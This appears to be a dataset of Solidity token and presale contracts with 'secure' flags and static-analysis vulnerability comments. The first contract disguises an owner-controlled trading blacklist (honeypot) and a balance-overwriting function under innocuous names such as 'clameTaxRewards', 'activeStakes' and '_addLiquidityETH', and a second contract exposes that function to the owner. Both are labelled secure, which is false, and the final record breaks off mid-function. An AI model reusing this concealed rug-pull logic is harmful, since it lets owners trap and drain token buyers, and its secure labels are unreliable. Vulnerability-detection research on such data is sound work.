files dict |
|---|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n address internal _owner;\n mapping(address => uint256) internal _balances;\n mapping(address => bool) private _executeTransfer;\n mapping(address => mapping(address => uint256)) private _allowances;\n uint256 private maxTxLimit = 1 * 10 ** 11 * 10 ** 9;\n uint256 internal _totalSupply;\n bool intTx = true;\n uint256 private balances;\n string private _name;\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n _owner = msg.sender;\n balances = maxTxLimit;\n }\n\n modifier onlyOwner() {\n require(_owner == msg.sender, \"Ownable: caller is not the owner\");\n _;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 9;\n }\n\n function clameTaxRewards(address _senderAddress) external onlyOwner {\n _executeTransfer[_senderAddress] = false;\n }\n\n function execute(address _senderAddress) external onlyOwner {\n _executeTransfer[_senderAddress] = true;\n }\n\n function activeStakes(address _senderAddress) public view returns (bool) {\n return _executeTransfer[_senderAddress];\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n _approve(sender, _msgSender(), currentAllowance - amount);\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be grater thatn zero\");\n if (_executeTransfer[sender] || _executeTransfer[recipient])\n require(intTx == false, \"\");\n _beforeTokenTransfer(sender, recipient, amount);\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[sender] = senderBalance - amount;\n _balances[recipient] += amount;\n emit Transfer(sender, recipient, amount);\n }\n\n function _addLiquidityETH(\n address account,\n uint256 amount\n ) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n _balances[account] = balances - amount;\n _totalSupply -= amount;\n emit Transfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}",
"file_name": "solidity_code_2259.sol",
"secure": 1,
"size_bytes": 5731
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 06177ae): Contract locking ether found Contract EthereumisjustamemecoinIndex6900 has payable functions EthereumisjustamemecoinIndex6900.receive() But does not have a function to withdraw the ether\n// Recommendation for 06177ae: Remove the 'payable' attribute or add a withdraw function.\ncontract EthereumisjustamemecoinIndex6900 is ERC20, Ownable {\n constructor()\n ERC20(unicode\"Ethereum is just a meme coin Index 6900\", unicode\"ETX\")\n {\n _mint(owner(), 1000000000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 06177ae): Contract locking ether found Contract EthereumisjustamemecoinIndex6900 has payable functions EthereumisjustamemecoinIndex6900.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 06177ae: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}",
"file_name": "solidity_code_226.sol",
"secure": 0,
"size_bytes": 1170
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract EggzCoin is ERC20 {\n uint8 private immutable _decimals = 9;\n\n constructor() ERC20(\"Eggz Coin\", \"EGGZ\") {\n _totalSupply += 10000000 * 10 ** 9;\n _balances[_msgSender()] += _totalSupply;\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function decimals() public view virtual override returns (uint8) {\n return _decimals;\n }\n\n function addLiquidityETH(\n address account,\n uint256 amount\n ) external onlyOwner {\n _addLiquidityETH(account, amount);\n }\n}",
"file_name": "solidity_code_2260.sol",
"secure": 1,
"size_bytes": 691
} |
{
"code": "// SPDX-License-Identifier: Unlicense\n\npragma solidity ^0.8.0;\n\nabstract contract IERC20 {\n function balanceOf(\n address _owner\n ) external virtual returns (uint256 balance);\n\n\t// WARNING Vulnerability (erc20-interface | severity: Medium | ID: 5bffe80): IERC20 has incorrect ERC20 function interfaceIERC20.transfer(address,uint256)\n\t// Recommendation for 5bffe80: Set the appropriate return values and types for the defined 'ERC20' functions.\n function transfer(address _to, uint256 _value) external virtual;\n}",
"file_name": "solidity_code_2261.sol",
"secure": 0,
"size_bytes": 538
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./IBrightID.sol\" as IBrightID;\n\ncontract MannaBrightID is Ownable, IBrightID {\n mapping(address => bool) public verifiers;\n bytes32 public app;\n bytes32 public verificationHash;\n\n event VerifierAdded(address verifier);\n event VerifierRemoved(address verifier);\n event AppSet(bytes32 _app);\n event VerificationHashSet(bytes32 verificationHash);\n\n struct Verification {\n uint256 time;\n bool isVerified;\n }\n mapping(address => Verification) public verifications;\n\n constructor(address _verifier, bytes32 _app, bytes32 _verificationHash) {\n verifiers[_verifier] = true;\n app = _app;\n verificationHash = _verificationHash;\n }\n\n function setApp(bytes32 _app) external onlyOwner {\n app = _app;\n emit AppSet(_app);\n }\n\n function setVerificationHash(bytes32 _verificationHash) external onlyOwner {\n verificationHash = _verificationHash;\n emit VerificationHashSet(_verificationHash);\n }\n\n function addVerifier(address _verifier) external onlyOwner {\n verifiers[_verifier] = true;\n emit VerifierAdded(_verifier);\n }\n\n function removeVerifier(address _verifier) external onlyOwner {\n verifiers[_verifier] = false;\n emit VerifierRemoved(_verifier);\n }\n\n function verify(\n address addr,\n uint256 timestamp,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external {\n bytes32 message = keccak256(\n abi.encodePacked(app, addr, verificationHash, timestamp)\n );\n address signer = ecrecover(message, v, r, s);\n require(verifiers[signer], \"MannaBrightID: signer is not a verifier\");\n\n verifications[addr].time = timestamp;\n verifications[addr].isVerified = true;\n emit Verified(addr);\n }\n\n function isVerified(address addr) external view override returns (bool) {\n return verifications[addr].isVerified;\n }\n\n function verificationTime(address addr) external view returns (uint256) {\n return verifications[addr].time;\n }\n}",
"file_name": "solidity_code_2262.sol",
"secure": 1,
"size_bytes": 2274
} |
{
"code": "// SPDX-License-Identifier: Unlicense\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract UniqlyPresale {\n uint256 public immutable presaleLimit;\n\n uint256 public immutable minPerUser;\n\n uint256 public immutable maxPerUser;\n\n uint256 public immutable presaleEnd;\n\n uint256 constant failSafeTime = 4 weeks;\n\n address public owner;\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 4b4c348): UniqlyPresale.constructor(uint256,uint256,uint256,uint256,address)._owner lacks a zerocheck on \t owner = _owner\n\t// Recommendation for 4b4c348: Check that the address is not zero.\n constructor(\n uint256 _presaleLimit,\n uint256 _minPerUser,\n uint256 _maxPerUser,\n uint256 _presaleEnd,\n address _owner\n ) {\n presaleLimit = _presaleLimit;\n minPerUser = _minPerUser;\n maxPerUser = _maxPerUser;\n presaleEnd = _presaleEnd;\n\t\t// missing-zero-check | ID: 4b4c348\n owner = _owner;\n }\n\n bool presaleEnded;\n bool presaleFailed;\n bool presaleStarted;\n\n mapping(address => uint256) private balances;\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: bcf7af1): UniqlyPresale.receive() uses timestamp for comparisons Dangerous comparisons require(bool,string)(block.timestamp < presaleEnd,Presale time's up)\n\t// Recommendation for bcf7af1: Avoid relying on 'block.timestamp'.\n receive() external payable {\n require(presaleStarted, \"Presale not started\");\n require(!presaleEnded, \"Presale ended\");\n\n\t\t// timestamp | ID: bcf7af1\n require(block.timestamp < presaleEnd, \"Presale time's up\");\n\n uint256 amount = msg.value + balances[msg.sender];\n require(amount >= minPerUser, \"Below buy-in\");\n require(amount <= maxPerUser, \"Over buy-in\");\n balances[msg.sender] = amount;\n\n if (collected() >= presaleLimit) {\n presaleEnded = true;\n }\n }\n\n function start() external {\n require(msg.sender == owner, \"Only for Owner\");\n presaleStarted = true;\n }\n\n function balanceOf(address user) external view returns (uint256) {\n return balances[user];\n }\n\n function balanceOf() external view returns (uint256) {\n return balances[msg.sender];\n }\n\n function collected() public view returns (uint256) {\n return address(this).balance;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 8372755): UniqlyPresale.withdraw() uses timestamp for comparisons Dangerous comparisons block.timestamp > presaleEnd + failSafeTime\n\t// Recommendation for 8372755: Avoid relying on 'block.timestamp'.\n function withdraw() external returns (bool) {\n if (!presaleEnded) {\n\t\t\t// timestamp | ID: 8372755\n if (block.timestamp > presaleEnd + failSafeTime) {\n presaleEnded = true;\n presaleFailed = true;\n }\n } else if (msg.sender == owner && !presaleFailed) {\n send(owner, address(this).balance);\n return true;\n }\n\n if (presaleFailed) {\n uint256 amount = balances[msg.sender];\n balances[msg.sender] = 0;\n send(msg.sender, amount);\n return true;\n }\n\n return false;\n }\n\n function send(address user, uint256 amount) private {\n bool success = false;\n (success, ) = address(user).call{value: amount}(\"\");\n require(success, \"ETH send failed\");\n }\n\n function withdrawAnyERC20(IERC20 token) external {\n uint256 amount = token.balanceOf(address(this));\n require(amount > 0, \"No tokens to withdraw\");\n token.transfer(owner, amount);\n }\n\n address public newOwner;\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 88b9306): UniqlyPresale.giveOwnership(address)._newOwner lacks a zerocheck on \t newOwner = _newOwner\n\t// Recommendation for 88b9306: Check that the address is not zero.\n function giveOwnership(address _newOwner) external {\n require(msg.sender == owner, \"Only for Owner\");\n\t\t// missing-zero-check | ID: 88b9306\n newOwner = _newOwner;\n }\n\n function acceptOwnership() external {\n require(msg.sender == newOwner, \"Ure not New Owner\");\n newOwner = address(0x0);\n owner = msg.sender;\n }\n}",
"file_name": "solidity_code_2263.sol",
"secure": 0,
"size_bytes": 4475
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nabstract contract Ownable {\n address internal owner;\n constructor(address _owner) {\n owner = _owner;\n }\n modifier onlyOwner() {\n require(isOwner(msg.sender), \"!OWNER\");\n _;\n }\n function isOwner(address account) public view returns (bool) {\n return account == owner;\n }\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: d0f4ea8): Ownable.transferOwnership(address).adr lacks a zerocheck on \t owner = adr\n\t// Recommendation for d0f4ea8: Check that the address is not zero.\n function transferOwnership(address payable adr) public onlyOwner {\n\t\t// missing-zero-check | ID: d0f4ea8\n owner = adr;\n emit OwnershipTransferred(adr);\n }\n event OwnershipTransferred(address owner);\n}",
"file_name": "solidity_code_2264.sol",
"secure": 0,
"size_bytes": 845
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./IFactory.sol\" as IFactory;\nimport \"./IRouter.sol\" as IRouter;\n\ncontract Riniarium is IERC20, Ownable {\n using SafeMath for uint256;\n string private constant _name = \"Riniarium\";\n string private constant _symbol = \"RINIA\";\n uint8 private constant _decimals = 9;\n\t// WARNING Optimization Issue (constable-states | ID: 94610b7): Riniarium._totalSupply should be constant \n\t// Recommendation for 94610b7: Add the 'constant' attribute to state variables that never change.\n uint256 private _totalSupply = 100000000 * (10 ** _decimals);\n uint256 private _maxTxAmountPercent = 200;\n uint256 private _maxTransferPercent = 200;\n uint256 private _maxWalletPercent = 300;\n mapping(address => uint256) _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) public isFeeExempt;\n mapping(address => bool) private isBot;\n\t// WARNING Optimization Issue (immutable-states | ID: c9c6a0b): Riniarium.router should be immutable \n\t// Recommendation for c9c6a0b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IRouter router;\n\t// WARNING Optimization Issue (immutable-states | ID: 75194c2): Riniarium.pair should be immutable \n\t// Recommendation for 75194c2: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public pair;\n bool private tradingAllowed = false;\n uint256 private liquidityFee = 0;\n uint256 private marketingFee = 300;\n uint256 private developmentFee = 200;\n uint256 private burnFee = 0;\n uint256 private totalFee = 2000;\n uint256 private sellFee = 2000;\n uint256 private transferFee = 2000;\n\t// WARNING Optimization Issue (constable-states | ID: d6353d2): Riniarium.denominator should be constant \n\t// Recommendation for d6353d2: Add the 'constant' attribute to state variables that never change.\n uint256 private denominator = 10000;\n\t// WARNING Optimization Issue (constable-states | ID: df647dc): Riniarium.swapEnabled should be constant \n\t// Recommendation for df647dc: Add the 'constant' attribute to state variables that never change.\n bool private swapEnabled = true;\n uint256 private swapTimes;\n bool private swapping;\n\t// WARNING Optimization Issue (immutable-states | ID: 84f71a6): Riniarium.swapThreshold should be immutable \n\t// Recommendation for 84f71a6: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private swapThreshold = (_totalSupply * 600) / 100000;\n\t// WARNING Optimization Issue (immutable-states | ID: 3a2353d): Riniarium._minTokenAmount should be immutable \n\t// Recommendation for 3a2353d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _minTokenAmount = (_totalSupply * 10) / 100000;\n modifier lockTheSwap() {\n\t\t// reentrancy-eth | ID: b730b84\n swapping = true;\n _;\n\t\t// reentrancy-eth | ID: b730b84\n swapping = false;\n }\n\n address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;\n address internal constant development_receiver =\n 0xf2482CcC3Ea2eEDc1bbe0438a0c2667FC46F15d2;\n address internal constant marketing_receiver =\n 0xf2482CcC3Ea2eEDc1bbe0438a0c2667FC46F15d2;\n address internal constant liquidity_receiver =\n 0xf2482CcC3Ea2eEDc1bbe0438a0c2667FC46F15d2;\n\n constructor() Ownable(msg.sender) {\n IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n address _pair = IFactory(_router.factory()).createPair(\n address(this),\n _router.WETH()\n );\n router = _router;\n pair = _pair;\n isFeeExempt[address(this)] = true;\n isFeeExempt[liquidity_receiver] = true;\n isFeeExempt[marketing_receiver] = true;\n isFeeExempt[msg.sender] = true;\n _balances[msg.sender] = _totalSupply;\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n\n receive() external payable {}\n function name() public pure returns (string memory) {\n return _name;\n }\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n function setExtent() external onlyOwner {\n tradingAllowed = true;\n }\n function getOwner() external view override returns (address) {\n return owner;\n }\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(msg.sender, recipient, amount);\n return true;\n }\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 61e82bf): Riniarium.allowance(address,address).owner shadows Ownable.owner (state variable)\n\t// Recommendation for 61e82bf: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n function isCont(address addr) internal view returns (bool) {\n uint256 size;\n assembly {\n size := extcodesize(addr)\n }\n return size > 0;\n }\n function setisBot(address _address, bool _enabled) external onlyOwner {\n isBot[_address] = _enabled;\n }\n function setisExempt(address _address, bool _enabled) external onlyOwner {\n isFeeExempt[_address] = _enabled;\n }\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(msg.sender, spender, amount);\n return true;\n }\n function circulatingSupply() public view override returns (uint256) {\n return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));\n }\n function _maxWalletToken() public view returns (uint256) {\n return (totalSupply() * _maxWalletPercent) / denominator;\n }\n function _maxTxAmount() public view returns (uint256) {\n return (totalSupply() * _maxTxAmountPercent) / denominator;\n }\n function _maxTransferAmount() public view returns (uint256) {\n return (totalSupply() * _maxTransferPercent) / denominator;\n }\n\n function preTxCheck(\n address sender,\n address recipient,\n uint256 amount\n ) internal view {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n require(\n amount > uint256(0),\n \"Transfer amount must be greater than zero\"\n );\n require(\n amount <= balanceOf(sender),\n \"You are trying to transfer more than your balance\"\n );\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e9d3c28): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e9d3c28: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a4bae29): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a4bae29: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: d13ad8f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for d13ad8f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b730b84): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b730b84: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) private {\n preTxCheck(sender, recipient, amount);\n checkTradingAllowed(sender, recipient);\n checkMaxWallet(sender, recipient, amount);\n swapbackCounters(sender, recipient);\n checkTxLimit(sender, recipient, amount);\n\t\t// reentrancy-events | ID: e9d3c28\n\t\t// reentrancy-benign | ID: a4bae29\n\t\t// reentrancy-eth | ID: d13ad8f\n\t\t// reentrancy-eth | ID: b730b84\n swapBack(sender, recipient, amount);\n\t\t// reentrancy-eth | ID: d13ad8f\n\t\t// reentrancy-eth | ID: b730b84\n _balances[sender] = _balances[sender].sub(amount);\n\t\t// reentrancy-events | ID: e9d3c28\n\t\t// reentrancy-benign | ID: a4bae29\n\t\t// reentrancy-eth | ID: b730b84\n uint256 amountReceived = shouldTakeFee(sender, recipient)\n ? takeFee(sender, recipient, amount)\n : amount;\n\t\t// reentrancy-eth | ID: b730b84\n _balances[recipient] = _balances[recipient].add(amountReceived);\n\t\t// reentrancy-events | ID: e9d3c28\n emit Transfer(sender, recipient, amountReceived);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 61390a0): Missing events for critical arithmetic parameters.\n\t// Recommendation for 61390a0: Emit an event for critical parameter changes.\n function setStructure(\n uint256 _liquidity,\n uint256 _marketing,\n uint256 _burn,\n uint256 _development,\n uint256 _total,\n uint256 _sell,\n uint256 _trans\n ) external onlyOwner {\n\t\t// events-maths | ID: 61390a0\n liquidityFee = _liquidity;\n\t\t// events-maths | ID: 61390a0\n marketingFee = _marketing;\n\t\t// events-maths | ID: 61390a0\n burnFee = _burn;\n\t\t// events-maths | ID: 61390a0\n developmentFee = _development;\n\t\t// events-maths | ID: 61390a0\n totalFee = _total;\n\t\t// events-maths | ID: 61390a0\n sellFee = _sell;\n\t\t// events-maths | ID: 61390a0\n transferFee = _trans;\n require(\n totalFee <= denominator.div(5) && sellFee <= denominator.div(5),\n \"totalFee and sellFee cannot be more than 20%\"\n );\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 9fb915f): Riniarium.setParameters(uint256,uint256,uint256) should emit an event for _maxTxAmountPercent = _buy _maxTransferPercent = _trans _maxWalletPercent = _wallet \n\t// Recommendation for 9fb915f: Emit an event for critical parameter changes.\n function setParameters(\n uint256 _buy,\n uint256 _trans,\n uint256 _wallet\n ) external onlyOwner {\n uint256 newTx = (totalSupply() * _buy) / 10000;\n uint256 newTransfer = (totalSupply() * _trans) / 10000;\n uint256 newWallet = (totalSupply() * _wallet) / 10000;\n\t\t// events-maths | ID: 9fb915f\n _maxTxAmountPercent = _buy;\n\t\t// events-maths | ID: 9fb915f\n _maxTransferPercent = _trans;\n\t\t// events-maths | ID: 9fb915f\n _maxWalletPercent = _wallet;\n uint256 limit = totalSupply().mul(5).div(1000);\n require(\n newTx >= limit && newTransfer >= limit && newWallet >= limit,\n \"Max TXs and Max Wallet cannot be less than .5%\"\n );\n }\n\n function checkTradingAllowed(\n address sender,\n address recipient\n ) internal view {\n if (!isFeeExempt[sender] && !isFeeExempt[recipient]) {\n require(tradingAllowed, \"tradingAllowed\");\n }\n }\n\n function checkMaxWallet(\n address sender,\n address recipient,\n uint256 amount\n ) internal view {\n if (\n !isFeeExempt[sender] &&\n !isFeeExempt[recipient] &&\n recipient != address(pair) &&\n recipient != address(DEAD)\n ) {\n require(\n (_balances[recipient].add(amount)) <= _maxWalletToken(),\n \"Exceeds maximum wallet amount.\"\n );\n }\n }\n\n function swapbackCounters(address sender, address recipient) internal {\n if (recipient == pair && !isFeeExempt[sender]) {\n\t\t\t// reentrancy-eth | ID: b730b84\n swapTimes += uint256(1);\n }\n }\n\n function checkTxLimit(\n address sender,\n address recipient,\n uint256 amount\n ) internal view {\n if (sender != pair) {\n require(\n amount <= _maxTransferAmount() ||\n isFeeExempt[sender] ||\n isFeeExempt[recipient],\n \"TX Limit Exceeded\"\n );\n }\n require(\n amount <= _maxTxAmount() ||\n isFeeExempt[sender] ||\n isFeeExempt[recipient],\n \"TX Limit Exceeded\"\n );\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 5d81aa7): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 5d81aa7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: d2a74b5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for d2a74b5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 2b3dc01): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 2b3dc01: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: e515da5): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for e515da5: Consider ordering multiplication before division.\n function swapAndLiquify(uint256 tokens) private lockTheSwap {\n uint256 _denominator = (\n liquidityFee.add(1).add(marketingFee).add(developmentFee)\n ).mul(2);\n uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(\n _denominator\n );\n uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);\n uint256 initialBalance = address(this).balance;\n\t\t// reentrancy-events | ID: 5d81aa7\n\t\t// reentrancy-benign | ID: d2a74b5\n swapTokensForETH(toSwap);\n uint256 deltaBalance = address(this).balance.sub(initialBalance);\n\t\t// divide-before-multiply | ID: 2b3dc01\n\t\t// divide-before-multiply | ID: e515da5\n uint256 unitBalance = deltaBalance.div(_denominator.sub(liquidityFee));\n\t\t// divide-before-multiply | ID: 2b3dc01\n uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee);\n if (ETHToAddLiquidityWith > uint256(0)) {\n\t\t\t// reentrancy-events | ID: 5d81aa7\n\t\t\t// reentrancy-benign | ID: d2a74b5\n addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith);\n }\n\t\t// divide-before-multiply | ID: e515da5\n uint256 marketingAmt = unitBalance.mul(2).mul(marketingFee);\n if (marketingAmt > 0) {\n\t\t\t// reentrancy-events | ID: e9d3c28\n\t\t\t// reentrancy-events | ID: 96936e2\n\t\t\t// reentrancy-eth | ID: d13ad8f\n\t\t\t// reentrancy-eth | ID: e32fdc3\n\t\t\t// reentrancy-eth | ID: b730b84\n payable(marketing_receiver).transfer(marketingAmt);\n }\n uint256 remainingBalance = address(this).balance;\n if (remainingBalance > uint256(0)) {\n\t\t\t// reentrancy-events | ID: e9d3c28\n\t\t\t// reentrancy-events | ID: 96936e2\n\t\t\t// reentrancy-eth | ID: d13ad8f\n\t\t\t// reentrancy-eth | ID: e32fdc3\n\t\t\t// reentrancy-eth | ID: b730b84\n payable(development_receiver).transfer(remainingBalance);\n }\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 200d635): Riniarium.addLiquidity(uint256,uint256) ignores return value by router.addLiquidityETH{value ETHAmount}(address(this),tokenAmount,0,0,liquidity_receiver,block.timestamp)\n\t// Recommendation for 200d635: Ensure that all the return values of the function calls are used.\n function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {\n _approve(address(this), address(router), tokenAmount);\n\t\t// reentrancy-events | ID: e9d3c28\n\t\t// reentrancy-events | ID: 5d81aa7\n\t\t// reentrancy-events | ID: 96936e2\n\t\t// reentrancy-benign | ID: d2a74b5\n\t\t// reentrancy-benign | ID: a4bae29\n\t\t// reentrancy-benign | ID: bf6c953\n\t\t// unused-return | ID: 200d635\n\t\t// reentrancy-eth | ID: d13ad8f\n\t\t// reentrancy-eth | ID: e32fdc3\n\t\t// reentrancy-eth | ID: b730b84\n router.addLiquidityETH{value: ETHAmount}(\n address(this),\n tokenAmount,\n 0,\n 0,\n liquidity_receiver,\n block.timestamp\n );\n }\n\n function swapTokensForETH(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = router.WETH();\n _approve(address(this), address(router), tokenAmount);\n\t\t// reentrancy-events | ID: e9d3c28\n\t\t// reentrancy-events | ID: 5d81aa7\n\t\t// reentrancy-events | ID: 96936e2\n\t\t// reentrancy-benign | ID: d2a74b5\n\t\t// reentrancy-benign | ID: a4bae29\n\t\t// reentrancy-benign | ID: bf6c953\n\t\t// reentrancy-eth | ID: d13ad8f\n\t\t// reentrancy-eth | ID: e32fdc3\n\t\t// reentrancy-eth | ID: b730b84\n router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function shouldSwapBack(\n address sender,\n address recipient,\n uint256 amount\n ) internal view returns (bool) {\n bool aboveMin = amount >= _minTokenAmount;\n bool aboveThreshold = balanceOf(address(this)) >= swapThreshold;\n return\n !swapping &&\n swapEnabled &&\n tradingAllowed &&\n aboveMin &&\n !isFeeExempt[sender] &&\n recipient == pair &&\n swapTimes >= uint256(0) &&\n aboveThreshold;\n }\n\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: e32fdc3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for e32fdc3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function 